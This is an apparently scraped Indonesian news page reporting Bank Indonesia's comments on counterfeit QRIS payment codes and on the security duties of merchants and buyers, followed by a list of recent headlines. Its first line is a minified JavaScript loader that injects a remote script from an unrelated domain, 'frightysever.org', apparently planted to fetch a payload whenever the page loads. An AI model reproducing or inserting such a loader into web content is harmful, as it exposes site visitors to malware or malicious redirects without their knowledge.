(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banyak QRIS Bodong Beredar, Tanggung Jawab Siapa?


KANALKALIMANTAN.COM, JAKARTA – Sistem pembayaran QRIS kekinan disalahgunakan oleh sejumlah pihak untuk cuan dan merugikan banyak orang. Bahkan banyak beredar QRIS palsu yang meniru salah satu merchant, sehingga banyak tertipu.

Deputi Gubernur Bank Indonesia (BI) Filianingsih Hendarta mengatakan keamanan transaksi menggunakan QRIS merupakan tanggung jawab bersama.

Menurut dia, QRIS dibuat dengan standar nasional dan keamanannya mengacu praktik terbaik internasional.

“Keamanan QRIS itu tanggung jawab bersama. Jadi kalau kita lihat QRIS itu kita buat sudah ada standar nasional. QRIS itu sudah kita lengkapi dengan fitur keamanan yang mengacu pada international best practices,” ujarnya dalam Pengumuman Hasil Rapat Dewan Gubernur BI Bulan Juni 2024, yang dikutip Antara, Kamis (21/6/2024).

Baca juga: Mulai Besok, Polda Kalsel Resmi Bermarkas di Kota Banjarbaru

Filianingsih melanjutkan, BI, Asosiasi Sistem Pembayaran Indonesia (ASPI) dan juga pelaku industri, Penyedia Jasa Pembayaran (PJP), sudah melakukan sosialisasi dan edukasi terkait dengan keamanan transaksi QRIS kepada para merchant.

“Kenapa ini tanggung jawab bersama, artinya dari sisi pedagangnya, dari merchantnya itu harus memastikan bahwa QRIS itu dalam pengawasannya, barcodenya itu ada dalam pengawasannya,” imbuh dia.

Filianingsih menekankan barcode QRIS harus berada dalam jangkauan pengawasan para merchant. Para merchant juga harus memastikan adanya notifikasi transaksi pembayaran berhasil, yang diterima melalui telepon genggam.

“Jangan barcode-nya itu ditaruh di sembarang tempat, jadi dia harus mengawasi kalau pembelinya itu benar-benar men-scan QRIS yang benar-benar ada di depan dia,” ujarnya.

Selanjutnya, ada tanggung jawab dari pembeli, yakni harus memastikan bahwa QRIS yang dipindai (scan) itu benar sesuai dengan tujuan transaksi.

Baca juga: 21 Juni Hari Krida Pertanian, Ini Sejarah dan Maknanya

Dia menekankan rupiah wajib digunakan dalam setiap transaksi yang memiliki tujuan pembayaran di Indonesia. Dalam sistem pembayaran, BI menyediakan dua cara, yakni tunai dan nontunai.

Sementara itu, BI dan ASPI selalu melakukan pengawasan terhadap PJP QRIS dan juga terhadap perlindungan.  (Kanalkalimantan/Suara.com)

Editor: kk


Risa

Recent Posts

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

4 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

7 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

7 jam ago

9 Klien Rehabilitasi Narkoba Dapat Pendampingan Kesbangpol dan BNNK HSU

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 9 klien rehabilitasi narkoba mendapat fasilitas dan pendampingan rujukan ke Balai… Read More

7 jam ago

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

20 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

22 jam ago